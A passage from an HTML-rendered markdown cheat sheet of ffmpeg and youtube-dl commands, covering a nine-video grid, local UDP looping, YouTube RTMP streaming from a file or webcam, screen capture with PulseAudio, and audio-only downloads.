class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_090258.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_093103.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_093142.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_095845.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_101033.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_112423.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">8</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_120200.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">9</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_140711.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">10</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; <span class="cm-attribute">-i</span> ./20201112_141343.mp4 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">11</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-filter_complex</span> <span class="cm-string">" \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">12</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [0:v] setpts=PTS-STARTPTS, scale=qvga [a0]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">13</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [1:v] setpts=PTS-STARTPTS, scale=qvga [a1]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">14</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [2:v] setpts=PTS-STARTPTS, scale=qvga [a2]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">15</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [3:v] setpts=PTS-STARTPTS, scale=qvga [a3]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">16</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [4:v] setpts=PTS-STARTPTS, scale=qvga [a4]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">17</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [5:v] setpts=PTS-STARTPTS, scale=qvga [a5]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">18</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [6:v] setpts=PTS-STARTPTS, scale=qvga [a6]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">19</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [7:v] setpts=PTS-STARTPTS, scale=qvga [a7]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">20</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [8:v] setpts=PTS-STARTPTS, scale=qvga [a8]; \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">21</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  [a0][a1][a2][a3][a4][a5][a6][a7][a8]xstack=inputs=9:layout=0_0|w0_0|w0+w1_0|0_h0|w0_h0|w0+w1_h0|0_h0+h1|w0_h0+h1|w0+w1_h0+h1[out] \</span></span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">22</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-string"> &nbsp; &nbsp;  "</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 27px;">23</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp;<span class="cm-attribute">-map</span> <span class="cm-string">"[out]"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">24</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp; &nbsp;<span class="cm-attribute">-c</span>:v libx264 <span class="cm-attribute">-t</span> <span class="cm-string">'30'</span> <span class="cm-attribute">-f</span> matroska <span class="cm-attribute">-</span>  | ffplay <span class="cm-attribute">-autoexit</span> <span class="cm-attribute">-left</span> <span class="cm-number">30</span> <span class="cm-attribute">-top</span> <span class="cm-number">30</span> <span class="cm-attribute">-</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 575px;"></div><div class="CodeMirror-gutters" style="height: 575px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 35px;"></div></div></div></div></pre><h1 id='live-video-downloading-video-and-ffmpeg-streaming'><span>Live video, downloading video, and ffmpeg streaming</span></h1><ul><li><span>Get stream URIs with youtube-dl: </span><code>youtube-dl -g &quot;URL&quot;</code></li><li><span>Grab a video with youtube-dl but limit the size of the video to 1920x?: </span><code>youtube-dl -f &#39;bestvideo[width&lt;=1920]+bestaudio&#39; $URI</code></li><li><span>Grab audio only with youtube-dl: </span><code>youtube-dl -f bestaudio --add-metadata --extract-audio --audio-format mp3 --audio-quality 0 &lt;Video-URL&gt;</code></li></ul><h2 id='loop-stream-a-video-on-the-local-network'><span>Loop stream a video on the local network</span></h2><p><span>Only tested on Windows, </span><code>mpv udp://localhost:1234</code><span> plays it, as an example:</span></p><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>5</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">  ffmpeg</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-stream_loop</span> <span class="cm-attribute">-1</span> <span class="cm-attribute">-i</span> .\campfire.mkv</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-preset</span> ultrafast <span class="cm-attribute">-vcodec</span> libx264</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-tune</span> zerolatency <span class="cm-attribute">-b</span> 900k <span class="cm-attribute">-f</span> mpegts</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">  udp://localhost:1234</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 115px;"></div><div class="CodeMirror-gutters" style="height: 115px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><p><span>NOTE: Youtube requires both a video and audio component to be able to stream!</span></p><h2 id='youtube-streaming-a-video-source-must-have-audio'><span>Youtube streaming a video source (must have audio)</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>7</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">KEY</span><span class="cm-operator">=</span><span class="cm-string">"your-key-goes-here"</span> &amp;&amp; <span class="cm-def">FPS</span><span class="cm-operator">=</span><span class="cm-number">24</span> &amp;&amp; ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-stream_loop</span> <span class="cm-attribute">-1</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-re</span> <span class="cm-attribute">-i</span> <span class="cm-string">"VIDEO_SOURCE"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-c</span>:v libx264 <span class="cm-attribute">-pix_fmt</span> yuv420p <span class="cm-attribute">-preset</span> superfast \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-r</span> <span class="cm-def">$FPS</span> <span class="cm-attribute">-g</span> <span class="cm-quote">$((</span><span class="cm-def">$FPS</span><span class="cm-quote"> * 2))</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-b</span>:v 1500k <span class="cm-attribute">-c</span>:a aac \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> flv <span class="cm-string">"rtmp://a.rtmp.youtube.com/live2/</span><span class="cm-def">$KEY</span><span class="cm-string">"</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 161px;"></div><div class="CodeMirror-gutters" style="height: 161px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h2 id='another-one-webcam--mic-windoze-dshow-example'><span>Another one (webcam + mic, Windoze dshow example)</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>7</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">KEY</span><span class="cm-operator">=</span><span class="cm-string">"your-key-goes-here"</span> &amp;&amp; ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-stream_loop</span> <span class="cm-attribute">-1</span> <span class="cm-attribute">-re</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> dshow <span class="cm-attribute">-rtbufsize</span> 100M <span class="cm-attribute">-i</span> <span class="cm-def">video</span><span class="cm-operator">=</span><span class="cm-string">"Integrated Camera"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> dshow <span class="cm-attribute">-i</span> <span class="cm-def">audio</span><span class="cm-operator">=</span><span class="cm-string">"Microphone Array (Realtek(R) Audio)"</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-c</span>:v libx264 <span class="cm-attribute">-pix_fmt</span> yuv420p <span class="cm-attribute">-preset</span> superfast <span class="cm-attribute">-r</span> <span class="cm-number">24</span> <span class="cm-attribute">-g</span> <span class="cm-number">48</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-b</span>:v 1500k <span class="cm-attribute">-c</span>:a aac \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tab" role="presentation" cm-text="	">    </span><span class="cm-attribute">-f</span> flv <span class="cm-string">"rtmp://a.rtmp.youtube.com/live2/</span><span class="cm-def">$KEY</span><span class="cm-string">"</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 161px;"></div><div class="CodeMirror-gutters" style="height: 161px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h2 id='capture-main-screen-0-and-the-default-pulse-audio-sink'><span>Capture main screen (:0) and the default Pulse Audio sink</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 36px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 28px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>7</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -28px; width: 28px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ffmpeg \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">2</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-video_size</span> 1366x768 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">3</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-framerate</span> <span class="cm-number">30</span> \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">4</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-f</span> x11grab <span class="cm-attribute">-i</span> :0.0 \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">5</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-f</span> pulse <span class="cm-attribute">-ac</span> <span class="cm-number">2</span> <span class="cm-attribute">-i</span> default \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 19px;">6</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-c</span>:v libx264rgb <span class="cm-attribute">-crf</span> <span class="cm-number">0</span> <span class="cm-attribute">-preset</span> ultrafast\</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -28px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 19px;">7</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> &nbsp;<span class="cm-attribute">-c</span>:a libopus output.mkv</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 161px;"></div><div class="CodeMirror-gutters" style="height: 161px;"><div class="CodeMirror-gutter CodeMirror-linenumbers" style="width: 27px;"></div></div></div></div></pre><h2 id='create-an-awesome-fireplace-classical-music-combo'><span>Create an awesome fireplace, classical music combo!</span></h2><pre class="md-fences md-end-block md-fences-with-lineno ty-contain-cm modeLoaded" spellcheck="false" lang="sh"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="sh"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.5px; left: 44px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 36px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre><div class="CodeMirror-linenumber CodeMirror-gutter-elt"><div>11</div></div></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: -36px; width: 36px;"></div><div class="CodeMirror-gutter-wrapper CodeMirror-activeline-gutter" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt CodeMirror-linenumber-show" style="left: 0px; width: 27px;">1</div></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-def">FIRE_V</span><span class="cm-operator">=</span><span class="cm-string">"</span><span class="cm-quote">$(youtube-dl -f 137 -g http://www.youtube.com/watch?v=-wKiNZ-u-HAs)</span><span class="cm-string">"</span> &amp;&amp; \</span></pre></div><div style="position: relative;"><div class="CodeMirror-gutter-wrapper" style="left: -36px;"><div class="CodeMirror-linenumber CodeMirror-gutter-elt" style="left: 0px; width: 